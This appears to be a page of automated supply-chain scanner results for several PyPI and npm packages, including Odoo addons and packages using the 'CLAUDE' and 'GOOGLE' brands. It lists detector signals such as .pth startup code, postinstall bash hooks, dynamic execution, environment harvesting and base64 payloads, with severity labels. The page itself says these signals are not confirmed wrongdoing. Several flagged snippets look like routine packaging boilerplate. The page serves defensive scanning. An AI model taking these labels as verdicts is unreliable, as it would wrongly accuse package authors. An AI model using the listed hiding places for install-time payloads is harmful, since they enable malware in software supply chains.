• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_base_location_nuts-10.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;pep420 = sys.version_info > (3, 3);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo''
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_base_location_nuts-10.0.1.0.0-py2.7-nspkg.pth: 'import sys, types, os;pep420 = sys.version_info > (3, 3);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo''
• SYNTAX_ERROR_IN_odoo/addons/base_location_nuts/wizard/nuts_import.py: multiple exception types must be parenthesized (<unknown>, line 122)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• INFOEstablished pre-AI legacy package registered 3436 days ago (predates modern AI hallucination waves).
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo9_addon_attachment_base_synchronize-9.0.1.0.0.99.dev37-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo9_addon_attachment_base_synchronize-9.0.1.0.0.99.dev37-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• HIGHSYNTAX_ERROR_IN_odoo_addons/attachment_base_synchronize/models/attachment.py: multiple exception types must be parenthesized (<unknown>, line 79)

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo9_addon_attachment_base_synchronize-9.0.1.0.0.99.dev37-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo9_addon_attachment_base_synchronize-9.0.1.0.0.99.dev37-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• SYNTAX_ERROR_IN_odoo_addons/attachment_base_synchronize/models/attachment.py: multiple exception types must be parenthesized (<unknown>, line 79)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• INFOEstablished pre-AI legacy package registered 3436 days ago (predates modern AI hallucination waves).
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo8_addon_base_phone-8.0.0.1.0.99.dev56-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo8_addon_base_phone-8.0.0.1.0.99.dev56-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• HIGHSYNTAX_ERROR_IN_odoo_addons/base_phone/base_phone.py: multiple exception types must be parenthesized (<unknown>, line 109)
• HIGHSYNTAX_ERROR_IN_odoo_addons/base_phone/wizard/reformat_all_phonenumbers.py: multiple exception types must be parenthesized (<unknown>, line 70)
• INFOSubstantial functional codebase (543 LOC across 8 file(s)).

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo8_addon_base_phone-8.0.0.1.0.99.dev56-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo8_addon_base_phone-8.0.0.1.0.99.dev56-py3.8-nspkg.pth: 'import sys, types, os;has_mfs = sys.version_info > (3, 5);p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo'
• SYNTAX_ERROR_IN_odoo_addons/base_phone/base_phone.py: multiple exception types must be parenthesized (<unknown>, line 109)
• SYNTAX_ERROR_IN_odoo_addons/base_phone/wizard/reformat_all_phonenumbers.py: multiple exception types must be parenthesized (<unknown>, line 70)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• INFOEstablished pre-AI legacy package registered 3437 days ago (predates modern AI hallucination waves).
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_base_phone-10.0.0.1.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo',));ie = os.path.exists(os.path.joi'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_base_phone-10.0.0.1.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo',));ie = os.path.exists(os.path.joi'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_base_phone-10.0.0.1.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo', 'addons'));ie = os.path.exists(os'
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_base_phone-10.0.0.1.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo', 'addons'));ie = os.path.exists(os'
• HIGHSYNTAX_ERROR_IN_odoo/addons/base_phone/wizard/number_not_found.py: multiple exception types must be parenthesized (<unknown>, line 64)

• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_base_phone-10.0.0.1.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo',));ie = os.path.exists(os.path.joi'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_base_phone-10.0.0.1.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo',));ie = os.path.exists(os.path.joi'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'sys' imported in odoo10_addon_base_phone-10.0.0.1.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo', 'addons'));ie = os.path.exists(os'
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in odoo10_addon_base_phone-10.0.0.1.0-py2.7-nspkg.pth: 'import sys, types, os;p = os.path.join(sys._getframe(1).f_locals['sitedir'], *('odoo', 'addons'));ie = os.path.exists(os'
• SYNTAX_ERROR_IN_odoo/addons/base_phone/wizard/number_not_found.py: multiple exception types must be parenthesized (<unknown>, line 64)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHPackage registered recently (54 days ago) during the active AI hallucination slopsquatting wave.
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'node install-browser-rs.mjs && node install-bash-rs.mjs'
• CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'postinstall' script
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/agent-helpers.js:230 (+19 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/agent-helpers.js:11907 (+11 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/agent-helpers.js:120 (+50 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Bulk Environment Harvesting' found in package/dist/agent-helpers.js:5798 (+4 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/main.js:47737

• LIFECYCLE_SCRIPT: 'postinstall' -> 'node install-browser-rs.mjs && node install-bash-rs.mjs'
• SUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'postinstall' script
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/dist/agent-helpers.js:230 (+19 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/dist/agent-helpers.js:11907 (+11 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/dist/agent-helpers.js:120 (+50 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Bulk Environment Harvesting' found in package/dist/agent-helpers.js:5798 (+4 more occurrence(s) elsewhere)
• SOURCE_CODE_ENCODED_PAYLOAD: 'Buffer.from(..., 'base64')' found in package/dist/main.js:47737

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• MEDIUMPackage registered 217 days ago within the 1-year AI tool proliferation window.
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'bash scripts/check-deps.sh || true'
• CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'postinstall' script
• INFOSubstantial functional codebase (30123 LOC across 32 file(s)).
• INFOModerate community usage with 292 monthly downloads.

• LIFECYCLE_SCRIPT: 'postinstall' -> 'bash scripts/check-deps.sh || true'
• SUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'postinstall' script

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• HIGHClaims critical enterprise brand identity ('GOOGLE').
• HIGHPublisher email 'unik128@gmail.com' is not affiliated with official vendor domain.
• INFOEstablished pre-AI legacy package registered 1223 days ago (predates modern AI hallucination waves).
• HIGHPYTHON_PTH_STARTUP_HOOK: Startup .pth file declared in package: google_form_api-0.1.0/venv/Lib/site-packages/_virtualenv.pth
• CRITICALPYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in google_form_api-0.1.0/venv/Lib/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in google_form_api-0.1.0/venv/Scripts/activate_this.py:20
• HIGHBUNDLED_NATIVE_BINARY: Unexpected compiled binary 'google_form_api-0.1.0/venv/Scripts/normalizer.exe' in package archive

• PYTHON_PTH_STARTUP_HOOK: Startup .pth file declared in package: google_form_api-0.1.0/venv/Lib/site-packages/_virtualenv.pth
• PYTHON_PTH_CODE_EXECUTION: Dangerous startup module 'os' imported in google_form_api-0.1.0/venv/Lib/site-packages/distutils-precedence.pth: 'import os; var = 'SETUPTOOLS_USE_DISTUTILS'; enabled = os.environ.get(var, 'local') == 'local'; enabled and __import__(''
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in google_form_api-0.1.0/venv/Scripts/activate_this.py:20
• BUNDLED_NATIVE_BINARY: Unexpected compiled binary 'google_form_api-0.1.0/venv/Scripts/normalizer.exe' in package archive

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →